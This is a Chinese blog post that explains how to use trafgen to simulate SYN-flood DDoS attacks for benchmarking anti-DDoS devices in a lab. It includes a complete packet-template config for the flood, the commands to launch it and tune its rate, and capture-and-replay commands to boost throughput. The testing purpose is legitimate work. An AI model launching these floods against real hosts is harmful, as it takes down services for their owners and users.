【大数据】Spark优化经验&案例--数据倾斜 《Mysql必知必会》读书笔记 jar包名中自动添加git commit id PyCharm教学视频学习笔记 《SQL基础教程》简要总结 《设计师要懂心理学》读书笔记 MySQL与MariaDB学习笔记 WDT (Folly) 安装指南 -- CentOS 7 [solved]Page build failed(Jekyll) 数据包过滤及分析实例 tshark tcpdump Scala Tour 学习总结 “Docker容器和容器云”读书笔记(1) “Docker Practice”读书笔记 “图解基础设施设计模式”小结 “图解服务器端网络架构”小结 Python网络安全编程 数据包解析笔记 华为挑战赛(1) DDoS攻击防御与云服务 基于网络回溯分析技术的异常行为分析 “Linux程序设计”小结(进程间通信) C语言编程规范(华为软件精英挑战赛) 2017阿里在线编程题--单源最短路径问题 2017年阿里在线编程题-- 数串分组 Uinx/Linux上的帮助查询命令 你懂C,所以C++不在话下 一篇特别长的总结(C专家编程) 程序员面试金典--笔记(精华篇) C陷阱与缺陷--笔记 半小时搭建电子商务网站--opencart linux网络知识和工具(持续更新) 网卡参数查询及设置工具ethtool 高性能流量生成工具trafgen(DDoS模拟) Linux流量控制工具TC 流量控制工具TC详细说明 tcpdump过滤数据包,结果不对? Lecture 网络攻击与防御技术笔记 gotgit-git权威指南 高效使用MacOS所要知道的 shell内置字符串处理 配置ntp(知其所以然) 360黑客攻防技术分享会--记录 中毒U盘恢复--快捷键病毒 Tor--anonymity network介绍(PPT) IBM bluemix 再读《Linux Shell脚本攻略》 linux shell 学习摘记(9) linux shell 学习摘记(8) linux shell 学习摘记(7) linux shell 学习摘记(6) linux shell 学习摘记(5) linux shell 学习摘记(4) linux shell 学习摘记(3) linux shell 学习摘记(2) linux shell 学习摘记(1) firefox vim 插件 vimperator A Byte of Vim 笔记 windows注册表小知识 安全测试工具篇(开源&商业) 安全及性能测试工具(网站收集) 性能测试工具 屡试不爽的“3个”iPad使用技巧 Shell Shortcuts(和Tab键一样实用) vim--自动添加jekyll post信息头 vim 自动给文件添加头部信息 GitHub Tips (很实用,值得收藏) Linux路由、防火墙、NAT命令

高性能流量生成工具trafgen(DDoS模拟)

2017年01月11日

因项目需要,要对主流的几家抗DDoS设备做测评,当然了最专业的是使用Spirent TestCenter,但受限于其他因素,最终决定搭建一个软件环境来进行相关的DDoS测试。

本文主要讲解的是如何使用trafgen工具发起DDoS攻击(syn flood, ack flood等等)

synflood攻击、ackflood攻击、UDP fragment攻击的详细配置文件见 github ddos-dos-tools

工具选择

  1. 开源的流量生成工具很多,可用于模拟DoS攻击的工具也不在少数,如hping、scapy(python库)等等,但均存在着不足,如性能不够,不能模拟DDoS攻击(攻击流IP和PORT不能动态变化)
  2. 通过详细的对比测试(同hping、scapy、LOIC等对比测试,具体数据不宜公开),最后统一选择了netsniff-ng套件中的trafgen攻击,其在测试环境中可达到24万pps的SYNFLOOD攻击,是一款高速、多线程网络数据包生成工具
  3. trafgen 工具能够动态生成攻击IP和端口号,能够通过配置文件动态修改攻击包的内容

简单使用

1. 安装

trafgen属于netsniff-ng套件,是一款linux下的工具,安装很方便,通过系统的在线安装工具即可完成安装,如centos下yum install netsniff-ng即可

2. 使用(SYN Flood攻击)

  1. 工具的比较简单,主要是配置文件的编写,假设已经写好了一个synflood配置文件
    • 键入命令trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose即可发起攻击
    • 进一步的还可通过trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --gap 1000 (以毫秒为单位)来调节速度
    • 进一步的还可通过trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose --kernel-pull 20 (默认10us)来调节速度
    • 详细的可以man trafgen
  2. 配置文件解读(以synflood.trafgen文件为例)
    • synflood.trafgen 模版,trafgen就是通过该文件来生成特定的数据包的!看配置文件的注释基本能清除如何修改
/* TCP SYN attack ( 64byte )
 * Command example:
 *  trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
 * Note: dynamic elements "drnd()" make trafgen slower
 */

#define ETH_P_IP	0x0800

#define SYN		(1 << 1)
#define ACK		(1 << 4)
#define ECN		(1 << 6)

{
  /* --- Ethernet Header --- */
  /* NEED ADJUST */
  // 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56,  # MAC Destination
  // 0x00, 0x12, 0xc0, drnd(3),  # MAC Source
  0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination
  0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source
  
  const16(ETH_P_IP),
  /* IPv4 Version, IHL, TOS */
  0b01000101, 0,
  /* IPv4 Total Len */
  const16(46),
  /* IPv4 Ident */
  drnd(2),
  //const16(2),

  /* IPv4 Flags, Frag Off */
  0b01000000, 0,
  /* IPv4 TTL */
  64,
  /* Proto TCP */
  0x06,
  /* IPv4 Checksum (IP header from, to) */
  csumip(14, 33),

  /* NEED ADJUST */
  // 10, 10, 88, drnd(1), # Source IP
  10, 10, 88, 173,  # Source IP
  10, 10, 88, 172, # Dest IP

  /* TCP Source Port */
  drnd(2),
  /* TCP Dest Port */
  const16(80),
  /* TCP Sequence Number */
  drnd(4),
  /* TCP Ackn. Number */
  const32(0), /* NOTICE ACK==zero with SYN packets */

  /* TCP Header length + Flags */
  //const16((0x5 << 12) | SYN | ECN)	/* TCP SYN+ECN Flag */
  //const16((0x5 << 12) | SYN | ACK)	/* TCP SYN+ACK Flag */
  const16((0x5 << 12) | SYN)		/* TCP SYN Flag */
  //const16((0x5 << 12) | ACK)		/* TCP ACK Flag */

  /* Window Size */
  const16(16),
  /* TCP Checksum (offset IP, offset TCP) */
  csumtcp(14, 34),
  const16(0), /*PAD*/
  
  /* Data */
  "SYNswf"
}
  • 配置文件可通过drnd()函数来实现对应内容的动态生成,如IP、MAC地址等,但是会影响性能

image_1b6bf8ooa3im1ioc1kc7aeu1qo89.png-6kB

  • 修改MAC地址(攻击/被攻击MAC地址)

image_1b6bfeukr5m628h14ciupq1tnnm.png-11.8kB

  • 修改IP地址和攻击协议及端口号,const16()将对应的十进制数转换成一个16位的二进制数

image_1b6bftaek14a4il1fp5l3dr5213.png-15kB

  • 修改位SYN标志(根据情况也可修改为其他的)

image_1b6bfv9751ojs1g6klulc4jaak1g.png-11.6kB

3. ACKFlood 攻击

4. UDP fragment 攻击

5. 退出命令

统一退出命令pgrep trafgen | xargs kill -s 9

其他

  1. 在trafgen性能仍达不到要求的情况下,可通过netsniff-ng攻击进行流量回放,如下
    • 先捕获synfloog攻击数据包
      netsniff-ng --in ens33 --out synflood.pcap --silent --verbose --filter 'ether src 00:50:56:ab:a5:3f'
      trafgen --cpp --dev ens33 --conf synflood.trafgen --verbose
    • 再重放synflood攻击数据包
      netsniff-ng --in synflood.pcap --out ens33 --silent --prio-high --verbose
  2. 在用trafgen进行实时流量生成或者netsniff-ng重放时,还可通过工具tc进行流量控制,具体请见“linux流量控制工具tc一文,简单举例如下
    image_1b6bgp1mntnf15a61bppjvs1f7a1t.png-15.8kB

知识共享许可协议
SWF's Hacking Dreamonephone 创作,采用 知识共享 署名-非商业性使用 4.0 国际 许可协议进行许可。
© 2011-2024. All rights reserved by onephone. Powerd by Jekyll.